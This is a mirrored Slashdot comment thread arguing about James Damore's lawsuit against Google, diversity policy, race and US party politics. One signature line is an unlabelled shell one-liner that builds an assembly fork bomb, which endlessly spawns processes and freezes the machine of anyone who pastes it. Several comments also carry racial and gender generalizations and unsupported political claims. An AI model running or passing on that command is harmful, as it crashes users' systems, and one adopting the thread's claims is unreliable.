Slashdot Mirror
James Damore Sues Google For Allegedly Discriminating Against Conservative White Men (theverge.com)
An anonymous reader shares a report: The author of the controversial memo that upended Google in August is suing the company, alleging that white, male conservatives are systematically discriminated against by Google. James Damore was fired as an engineer after a manifesto questioning the benefits of diversity programs was widely passed around the company. In a new lawsuit, he and another fired engineer claim that "employees who expressed views deviating from the majority view at Google on political subjects raised in the workplace and relevant to Google's employment policies and its business, such as 'diversity' hiring policies, 'bias sensitivity,' or 'social justice,' were/are singled out, mistreated, and systematically punished and terminated from Google, in violation of their legal rights."
About damn time. Let's see if the courts are as willing as social media platforms to allow racism and discrimination as long as it's against the "right" people.
Google was not only wrong to fire him, but Google's CEO Sundar Pichai should be fired for being inept.
Regardless of whether you agree or disagree with his politics, he caused google to get a lot of negative press (yes so did the leaker, but widely disemminating such a document massively increased the chance of a leak).
Google as a corporate entity don't seem to care for much any more these days except the almighty dollar. Don't be evil! Lol! If you hurt the bottom line you're gone.
SJW n. One who posts facts.
This reminds me of the days when Democrats in the Jim Crow south claimed it was only the 'Uppity' negroes who had problems with their legally imposed discrimination.
Guess who lost that battle.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
It's such a relief to know that this same sort of delusional blathering is still being dished out by lefty shills. Because it's exactly what cost the Democrats nearly a thousand legislative seats, most of the governorships, both houses of congress, the White House, the Supreme Court, and millions of two-time Obama voters who'd had enough of the completely fake histrionics. Even destroy-Trump-all-the-time networks like CNN have moved on past your deprecated talking points about phony felony collusion that isn't even a thing and never happened, and are now trying their hardest to talk up psychological reasons for removal from office, because that's all they've got. Please, though, carry on. Because if we want to watch the Dems fall on their faces in 2018 exactly like they did in 2016, it's voices like yours that are going to get it done. Thanks!
Don't disappoint your bird dog. Go to the range.
Exactly. Any woman in my organization who complained would find herself on the street.
Prove anything by multiplying Huge Number times Tiny Number
He wasn't fired for being white, he wasn't even fired for his political views, he was fired for spouting off at work and thus causing a lot of internal strife. You can believe whatever you want, but you can't say whatever you want at work.
Yeah, a black democrat named Barack Obama
Actually he was half black if need to be specific... There was a discussion on CSPAN3 or 2 of a book author talked about Obama and how he "walked in thin ice" about racism during his Presidency. Author said Obama was highly educated, married once and still is, two daughters doing well in school. Also well spoken, did appropriate sports like play golf, etc. If Obama was like Trump, he would have never been elected.
mfwright@batnet.com
Conservative is not. As one of those snowflakes I would like it to be, but those sort of worker protections have been shot down by (ironically) white, conservative men...
Hi! I make Firefox Plug-ins. Check 'em out @ https://addons.mozilla.org/en-US/firefox/addon/youtube-mp3-podcaster/
What I want to know is if the person that leaked his private internal company document (that **he submitted at the request of google for feedback after a diversity training seminar**) was also fired? Because that's the person that turned it into a PR nightmare.
Please, do not settle for non-disclosure agrrement, not even if they offer you a billion dollars.
I do not believe in karma. "Funny"=-6. Do good and forbid evil. Yours, Oft-Offtopic Flamebaiting Troll.
He caused google to get bad press.
No, he did not. The leaker did. And then I dare argue not even the leaker. The memo itself is tame and sound. The progressive (aka regressive) press that libeled the memo to hell and pretended it was saying things it did not say at all is what caused Google bad press.
If anything, it's Salon's, The Verge's, Vox's and other progressive-leaning blogs and trashy "news" outlets that caused Google to get bad press. And if you want to argue "journalistic" freedom, well fine, then it's back to the leaker.
James Damore was provided a "training seminar" (the quotes are important, because the forced diversity propaganda speech he was forced to listen to was no seminar, and it certainly wasn't training) and provided feedback, as asked, on the company internal forums, which serve this purpose.
Do you still need further clarification of the events ?
"Not to mention all the idiots who use words like boxen."
Anonymous Coward on Monday August 04, @06:49PM
Obama showed just how good our minority population has made itself to overcome the systemic racism in our society
Uhm... Perhaps you should start be denouncing the criminals and gangbangers who are of your own race, like most other races do? And I mean you, personally, not black people in general. Your minority population still makes up the majority of perpetrators of violent crimes against other members of your minority population. Speak out against that and put an end to it, then you'll have made yourself (again, you personally) "good". I know many black people who recognize this fact and speak out against it; those are good people. You, on the other hand, stand under the umbrella of someone else's accomplishment and claim you've overcome racism? No, Obama overcame racism, black men and women who decry the violent and ignorant actions of lesser individuals have overcome racism, but what have you done to better yourself?
I know I'm gonna get flamed hard for this and likely be downmodded into oblivion but, you know what? I don't care. What I'm saying needs to be said. Here it is: RACE ONLY MATTERS AS MUCH AS YOU LET IT MATTER.
APK quotes people (including myself) without context and should not be trusted. Just thought you should know.
It was not a "manifesto", let alone an anti-diversity one. That's what it was called in the media. Big difference.
Funny, the group of white nationalists which usually echos those sentiments seems to think skin colour and gender is an excellent attribute to justify not hiring people
Because white nationalists are as bigoted as progressives. Identity politics is cancer, from both sides.
You know, a wise man once said :
I have a dream that my four little children will one day live in a nation where they will not be judged by the color of their skin, but by the content of their character.
Maybe one day we'll be rid of Identity Politics.
"Not to mention all the idiots who use words like boxen."
Anonymous Coward on Monday August 04, @06:49PM
It astounds me that American politics has devolved into confused name-calling and an almost complete inability to form coherent and rational arguments. Let's bring things back to reality; both major American political parties expound right wing, authoritarian viewpoints and philosophies. The only thing that differs is the degree.
Faced with that reality, it's bewildering that half of the US population supports the elephant party, while strongly believing that donkey party followers are complete loons (and vice-versa). That's simply not a sane conclusion. Just because someone votes a certain way doesn't automatically make them a blithering idiot, nor does it mean that they're not allowed to disagree with some of the policies put forward by the legislators they vote into office.
It's also pretty clear to anyone with a reasonable grasp of the English language that President Trump is prone to frequent odd outbursts and declarations that are sometimes completely incoherent and provably false. That should be cause for significant concern, whether you're conservative or liberal.
Reading the memo will only make you dumber,
If you read it, you wouldn't pretend things like :
His opinion being that google shouldn't recruit women because they might have on average less aptitude than men for some tasks.
The actual quote :
Note, Iâ(TM)m not saying that all men differ from all women in the following ways or that these
differences are âoejust.â Iâ(TM)m simply stating that the distribution of preferences and abilities of men
and women differ in part due to biological causes and that these differences may explain why
we donâ(TM)t see equal representation of women in tech and leadership. Many of these differences
are small and thereâ(TM)s significant overlap between men and women, so you canâ(TM)t say anything
about an individual given these population level distributions.
So yes, you can disagree, you can argue the science he used and the studies he cited are wrong, or that he misunderstood them, but trying to depict the memo as vile while not having read it is malicious.
"Not to mention all the idiots who use words like boxen."
Anonymous Coward on Monday August 04, @06:49PM
Funny, the group of white nationalists which usually echos those sentiments seems to think skin colour and gender is an excellent attribute to justify not hiring people
Because white nationalists are as bigoted as progressives. Identity politics is cancer, from both sides.
Then why are you quoting from their playbook?
You know, a wise man once said :
I have a dream that my four little children will one day live in a nation where they will not be judged by the color of their skin, but by the content of their character.
Maybe one day we'll be rid of Identity Politics.
Noble sentiment, and I hope it will some day be realised. However, as long as conservative white males, the most privileged group of people on the planet, can feel themselves persecuted, discriminated against and trodden upon by people whose prospects of getting work and being as well paid for it as white males are is limited simply because of their gender and/or the colour of their skin then I'm not going to be to holding my breath. In the mean time, I'm going to have limited sympathy for any fellow white male because he objects to diversity in a company whose business model it is to not give a hoot about the skin colour, gender, religion or any other personal trait of their customers.
Donald Trump's unhinged tantrums on Twitter are game theory. Tit for tat.
He is merely feeding back to the American public exactly what they are putting out.
Like your post. It is unhinged, ridiculous on its face (and increasingly so after any level of consideration), and a testament to the absolute insanity that partisanship foments. To me it looks identical to the Twitter account of Donald Trump in tone and intellect.
In many ways this fits the description I have heard about "the government you deserve." When the electorate learns maturity, restraint, and civility we will get mature, restrained, and civil governance.
When the only tool you have is a claw hammer every problem starts to look like the back of someone's skull.
There is no such thing as "reverse racism", racism is racism, and judging people by the color of their skin is always wrong, even if your purpose is to help the person.
There are no such thing as good racism, as you're always reducing the person to his physical features.
see here.. Ben Shapiro is quite possibly the least credible source you could have sited. You can probably email the professor sited (or buy/read his books) if you want more sources.
And it happened between today and the _1860s_, not the 1960s. If you only go back 70 years yeah, you won't find evidence, because you didn't go back far enough. But that was the point, wasn't it?
Also, nice straw man. Whether the Ds & Rs switched sides has nothing to do with the reality of the Southern Strategy. The evidence for which comes from Republican strategists who came clean out of guilt. And that's before we start talking about stuff like how our (heavily supported by Republicans) Drug War is basically a round about way to enforce racial segregation or how all those civil war statues the party's so busy defending were put up in the eras of Jim Crow laws.
Seriously, you can't be this naive. You have to know this stuff. You're either being willfully ignorant to preserve a world view that makes you feel good about yourself or your hoping to join 'ole Benny S. in the popular pass time of making money off the working class by selling them political viewpoints that solve nothing but do separate the working class (there's that Southern Strategy rearin' it's ugly head again).
Hi! I make Firefox Plug-ins. Check 'em out @ https://addons.mozilla.org/en-US/firefox/addon/youtube-mp3-podcaster/
It's only gerrymandering when the republicans do it. When the dems do, it's not gerrymandering.
Having read it, the only difference I can see is that my summary of it is shorter and more direct.
Your summary: Google should avoid hiring women because they may be less apt at X.
His argument: Due to biological differences Google won't find equally many women to do X.
Let me try to make the argument even blunter, imagine you want employees that are over six feet tall for some reason. There are obviously women taller than that and men shorter than that, but you will find the pool is highly skewed against men. What he's saying is that great, you can hire every woman over six feet tall you can find, but you can't expect them to be half the employees because they're not half the workforce and everybody wants those that tick the diversity boxes.
The only way you can force an artificial balance in an unbalanced pool is to pay them more so all the tall women come work for you while everyone else is skewed even more or lower demands so that women actually don't have to be so tall as men. Either way they get special treatment for their diversity, not their actual work output. And that this is unfair both to the women who did pass the same qualifications as everyone else and the men who got bumped down the list.
Of course he wasn't talking about something as unalterable as height, he was talking about qualified tech workers. And that if Google wants more women in tech, they should spend their money on bringing up more qualified female candidates not make special rules for females. And his theory was that you still wouldn't get equal representation because men and women think differently and have different interests and values and that Google shouldn't begin with the answer being 50:50 and construe that everything that's not must be the result of gender discrimination of some form.
Of course this offended a bunch of SJW activists that think sex is a social construct and that boys would play with dolls and wear pink tutus while girls would play with cars and toy soldiers if nobody boxed them into gender roles. There's no doubt that in many companies and workplaces there has been a lot of resistance and bigotry against those that go against traditional gender roles and I hope we'll get past that as individuals. But seemingly no matter how far equality goes there still seem to be rather large statistical differences in the career paths we choose.
Live today, because you never know what tomorrow brings
And that means he's a terrible engineer, since he doesn't understand that "if X, then Y" doesn't also mean "Y, therefore X." That alone would be reason to fire him, because you sure as fark can't trust his code.
This is the part where you're wrong. He understood those hypothesis correctly, even evolutionary psychology professors who's work is directly in that field that he got the core of the idea correct among other facts. His belief is generally correct, that his evolutionary factors were effectively correct as well.
In other words, he was an engineer who saw something applied what he saw in his field, put it together, surprised a bunch of neurologists, and psychologists in "getting it pretty much right" and were just as astounded when google fired him for being right. Welcome to the absolute shitshow of the left, and hiring based on not ability, not skill, but with something you can make up, or are born with. Do you not understand why libertarians are abandoning any ties with the left, and saying "fuck it" and going right? And the left's response is "IT'S NOT US, IT'S U!"
Om, nomnomnom...
Then you end up with a company full of white male sex offenders. I say we allow it; if they're all working there, they're not intermixing with the general population and other, more same companies are better off for it.
You've never worked a day in your life, in a female dominated office have you? The shit that men say is tame, sexual harassment against men is rampant as well. Here's an example: When was the last time you head a group of guys standing around talking about how best to knock a women up, so she can get married and have an easy-train to alimony. I head the exact opposite from women, and worse. Everything from lying to be on BC, to stop taking it, to putting holes in condoms, to digging through the trash after sex for one. If you really want to hear about my own personal experiences ranging from both a fortune 500 company and in government offices? Reply, I'll be happy to give you examples.
The problem is for men, there's no real recourse except to put up with it. If HR hates you for bringing it up, they will schedule you in with the person harassing you, if they really hate you, they'll put you both in, early, before everyone else shows up, or make you stay late. Just like there are no real domestic violence shelters for men, and there's a big need for them. The fact that feminists who claim it's all about equality fight so hard against having male DV shelters should tell you exactly what type of equality they're fighting for.
Om, nomnomnom...
This "lunatic ranting" is the typical view from the rest of the world the left is actually left (and no, that's not far-left).
Maybe you should look into what the world outside of the USA is like.
It's also pretty clear to anyone with a reasonable grasp of the English language that President Trump is prone to frequent odd outbursts and declarations that are sometimes completely incoherent and provably false. That should be cause for significant concern, whether you're conservative or liberal.
I oppose Trump but I wonder if some of the things he says aren't just trickery to keep people talking about his chosen topic. Every time he misstates a number or fact, that becomes another piece of news. In fact, it often becomes the News of the Day. It brings attention to the topic, and the news organizations dogpile on either supporting or proving it incorrect.
His detractors aren't going to change their opinion of Trump over the misstatement, his supporters likely won't, and Trump's chosen issue becomes the issue of the day, blocking out many other current events. It is a highly effective distraction technique. There were plenty of such distractions when the tax bill was going through congress, and any time negative news about Trump is circulating.
On the other hand, he might be completely crazy and any positive effects of that are simply coincidental.
Even those who arrange and design shrubberies are under considerable economic stress at this period in history.
Then there's the Democratic Socialists. The Bernie Bros. I don't see these guys getting anywhere. Nobody wants to pay for something else's medical care. Nobody want to pay for their schools. Sure, you can argue that such things benefit everyone (e.g. we could pay our national debt off in 10 years with the money single payer healthcare would save, look it up). But it still doesn't _feel_ right. Especially with a good chunk of the country bigoted against _somebody_. We're balkanized. We're not Americans. We're White Americans. Black Americans. Gay Americans. Christian Americans. But we're not Americans.
You are correct about Americans being fragmented. We had a lot more overt racism and demonization of different groups back in the 1950s but at least the American Dream, national pride, and national unity was a coherent idea shared by most people (even if it was not completely true).
On the topic of socialist policies, I DO want to pay for education of others. The children of today will be taking care of me when I'm old, and it is in my direct interest that they are not complete idiots. On the other hand, every time the government gets involved in paying private enterprises for things, costs skyrocket as people game the system. Expanding college education by subsidies or direct payments is a prime example. Health insurance is another.
The most cost-effective government services are those run without significant subcontracting, such as the Postal service, National Parks, etc. Government should provide services either directly without significant subcontracting, or not at all. The problem with this is that private companies are well entrenched, lobby for subsidies, and oppose government-run services that compete with them. Local government-run internet services are a prime example.
Even those who arrange and design shrubberies are under considerable economic stress at this period in history.
It is really quite funny how completely out of touch most of the Google critics are when it comes to the chances of success at trial. What are the odds the CEO did (1) "Hey, fire this guy for what he said.", versus (2) "A few of these things he said seem to me might they violate existing policies. Please have HR review it and get back to me in writing with what they determine"?
In the second case, Damore's suit is simply doomed. It requires very little bureaucratic skill to take down a blabbermouth and be 100% in compliance with the law.
It is unfortunate Damore could not have written in a more succinct and focused style, because he did write a few uncomfortable and controversial arguments that were well worth discussing. Pity. But Damore himself has to own that. White male privilege is insufficient to protect him from the consequences of his own actions, in today's world.